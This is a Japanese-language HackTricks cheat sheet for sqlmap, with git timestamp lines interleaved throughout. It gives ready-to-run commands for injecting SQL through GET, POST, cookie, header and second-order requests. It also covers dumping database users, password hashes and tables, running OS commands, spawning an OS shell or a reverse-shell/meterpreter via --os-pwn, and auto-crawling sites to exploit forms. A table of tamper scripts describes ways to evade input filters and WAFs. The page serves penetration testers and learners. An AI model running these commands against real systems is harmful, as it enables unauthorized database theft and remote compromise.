2022-04-28 16:01:33 +00:00
< details >
2024-02-09 08:23:12 +00:00
< summary > < strong > ゼロからヒーローまでのAWSハッキングを学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-09 08:23:12 +00:00
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-02-09 08:23:12 +00:00
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )をチェックしてください!
* [**公式PEASS& HackTricksスワッグ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs** ](https://opensea.io/collection/the-peass-family )のコレクションを見つける
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に参加するか、[**telegramグループ** ](https://t.me/peass )に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )をフォローする。
* **ハッキングトリックを共有するために、[**HackTricks** ](https://github.com/carlospolop/hacktricks )と[**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud )のGitHubリポジトリにPRを提出してください。
2022-04-28 16:01:33 +00:00
< / details >
2023-07-07 23:42:27 +00:00
# SQLmapの基本的な引数
2020-07-15 15:43:14 +00:00
2024-01-10 17:17:21 +00:00
## 一般的
2020-07-15 15:43:14 +00:00
```bash
2023-07-07 23:42:27 +00:00
-u "< URL > "
-p "< PARAM TO TEST > "
--user-agent=SQLMAP
--random-agent
--threads=10
2020-07-15 15:43:14 +00:00
--risk=3 #MAX
--level=5 #MAX
2023-07-07 23:42:27 +00:00
--dbms="< KNOWN DB TECH > "
2020-07-15 15:43:14 +00:00
--os="< OS > "
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="< AUTH > " #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="< AUTH > " #HTTP authentication credentials (name:password)
--proxy=PROXY
```
2023-07-07 23:42:27 +00:00
## 情報の取得
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### 内部
2020-07-15 15:43:14 +00:00
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
2023-07-07 23:42:27 +00:00
### DBデータ
2020-07-15 15:43:14 +00:00
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D < DB NAME > )
--columns #Columns of a table ( -D < DB NAME > -T < TABLE NAME > )
-D < DB NAME > -T < TABLE NAME > -C < COLUMN NAME > #Dump column
```
2024-02-09 08:23:12 +00:00
# インジェクション箇所
2020-07-15 15:43:14 +00:00
2024-02-09 08:23:12 +00:00
## Burp/ZAPからのキャプチャ
2020-07-15 15:43:14 +00:00
2024-02-09 08:23:12 +00:00
リクエストをキャプチャしてreq.txtファイルを作成します
2023-07-07 23:42:27 +00:00
```bash
sqlmap -r req.txt --current-user
```
2024-01-10 17:17:21 +00:00
## GETリクエストインジェクション
2020-07-15 15:43:14 +00:00
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
2024-01-10 17:17:21 +00:00
## POSTリクエストインジェクション
2020-07-15 15:43:14 +00:00
```bash
sqlmap -u "http://example.com" --data "username=*& password=*"
```
2024-02-09 08:23:12 +00:00
## ヘッダーおよびその他のHTTPメソッドでのインジェクション
2020-07-15 15:43:14 +00:00
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
2024-02-09 08:23:12 +00:00
## 2次注入
2020-07-15 15:43:14 +00:00
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://< IP / domain > /joomla/administrator/index.php" -D "joomla" -dbs
```
2023-07-07 23:42:27 +00:00
## シェル
2020-07-15 15:43:14 +00:00
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
2024-02-09 08:23:12 +00:00
## SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトを実行します
2020-07-15 15:43:14 +00:00
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
2024-01-10 17:17:21 +00:00
# インジェクションのカスタマイズ
2023-07-07 23:42:27 +00:00
2024-01-10 17:17:21 +00:00
## サフィックスの設定
2020-07-15 15:43:14 +00:00
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
2024-02-09 08:23:12 +00:00
## プレフィックス
2020-07-15 15:43:14 +00:00
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
2024-02-09 08:23:12 +00:00
## ブールインジェクションを見つけるのに役立つ方法
2020-07-15 15:43:14 +00:00
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
2024-02-09 08:23:12 +00:00
## 改ざん
2020-07-15 15:43:14 +00:00
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
2023-07-07 23:42:27 +00:00
| Tamper | 説明 |
2020-07-15 15:43:14 +00:00
| :--- | :--- |
2024-02-09 08:23:12 +00:00
| apostrophemask.py | アポストロフィ文字をそのUTF-8全角の対応文字に置き換えます |
| apostrophenullencode.py | アポストロフィ文字をその不正なダブルユニコードの対応文字に置き換えます |
2023-07-07 23:42:27 +00:00
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します |
2024-02-09 08:23:12 +00:00
| base64encode.py | 指定されたペイロード内のすべての文字をBase64にエンコードします |
| between.py | 大なり演算子('> ')を'NOT BETWEEN 0 AND #'に置き換えます |
| bluecoat.py | SQLステートメントの後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字'='をLIKE演算子に置き換えます |
| chardoubleencode.py | 指定されたペイロード内のすべての文字を2回URLエンコードします( すでにエンコードされているものは処理しません) |
2024-01-10 17:17:21 +00:00
| commalesslimit.py | 'LIMIT M, N'のようなインスタンスを'LIMIT N OFFSET M'に置き換えます |
2024-02-09 08:23:12 +00:00
| commalessmid.py | 'MID\(A, B, C\)'のようなインスタンスを'MID\(A FROM B FOR C\)'に置き換えます |
| concat2concatws.py | 'CONCAT\(A, B\)'のようなインスタンスを'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)'に置き換えます |
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします( すでにエンコードされているものは処理しません) |
| charunicodeencode.py | 指定されたペイロード内の未エンコードの文字をUnicode-URLエンコードします( すでにエンコードされているものは処理しません) 。"%u0022" |
| charunicodeescape.py | 指定されたペイロード内の未エンコードの文字をUnicode-URLエンコードします( すでにエンコードされているものは処理しません) 。"\u0022" |
| equaltolike.py | すべての等しい演算子('=')を'LIKE'演算子に置き換えます |
| escapequotes.py | クォート文字('および")をスラッシュでエスケープします |
| greatest.py | 大なり演算子('> ')を'GREATEST'に置き換えます |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン指定のMySQLコメントを追加します |
| ifnull2ifisnull.py | 'IFNULL\(A, B\)'のようなインスタンスを'IF\(ISNULL\(A\), B, A\)'に置き換えます |
| modsecurityversioned.py | バージョン指定コメントでクエリ全体を囲みます |
| modsecurityzeroversioned.py | ゼロバージョンのコメントでクエリ全体を囲みます |
2023-07-07 23:42:27 +00:00
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します |
2024-02-09 08:23:12 +00:00
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置換に適した表現に置き換えます( たとえば.replace\("SELECT", ""\)フィルター) |
| percentage.py | 各文字の前にパーセンテージ記号('%')を追加します |
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされているものは処理しません) |
2024-01-10 17:17:21 +00:00
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます |
2023-07-07 23:42:27 +00:00
| randomcomments.py | SQLキーワードにランダムなコメントを追加します |
2024-02-09 08:23:12 +00:00
| securesphere.py | 特別に作成された文字列を追加します |
| sp\_password.py | ペイロードの末尾に'sp\_password'を追加して、DBMSログからの自動難読化を行います |
| space2comment.py | スペース文字(' ')をコメントに置き換えます |
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2hash.py | スペース文字(' ')をポンド文字('\#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2morehash.py | スペース文字(' ')をポンド文字('\#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字セットからのランダムな空白文字に置き換えます |
| space2mssqlhash.py | スペース文字(' ')をポンド文字('\#')に置き換え、その後に改行('\n')を追加します |
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字セットからのランダムな空白文字に置き換えます |
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します |
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます |
| space2randomblank.py | スペース文字(' ')を有効な代替文字セットからのランダムな空白文字に置き換えます |
| symboliclogical.py | ANDおよびOR論理演算子をそれぞれのシンボルに置き換えます( & & および |
| unionalltounion.py | 'UNION ALL SELECT'を'UNION SELECT'に置き換えます |
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ%bf%27と一緒に一般的なコメントで置き換えます( 機能させるために) |
2024-01-10 17:17:21 +00:00
| uppercase.py | 各キーワード文字を大文字の値'INSERT'に置き換えます |
| varnish.py | HTTPヘッダー'X-originating-IP'を追加します |
2024-02-09 08:23:12 +00:00
| versionedkeywords.py | 関数でない各キーワードをバージョン指定のMySQLコメントで囲みます |
| versionedmorekeywords.py | 各キーワードをバージョン指定のMySQLコメントで囲みます |
2024-01-10 17:17:21 +00:00
| xforwardedfor.py | 偽のHTTPヘッダー'X-Forwarded-For'を追加します |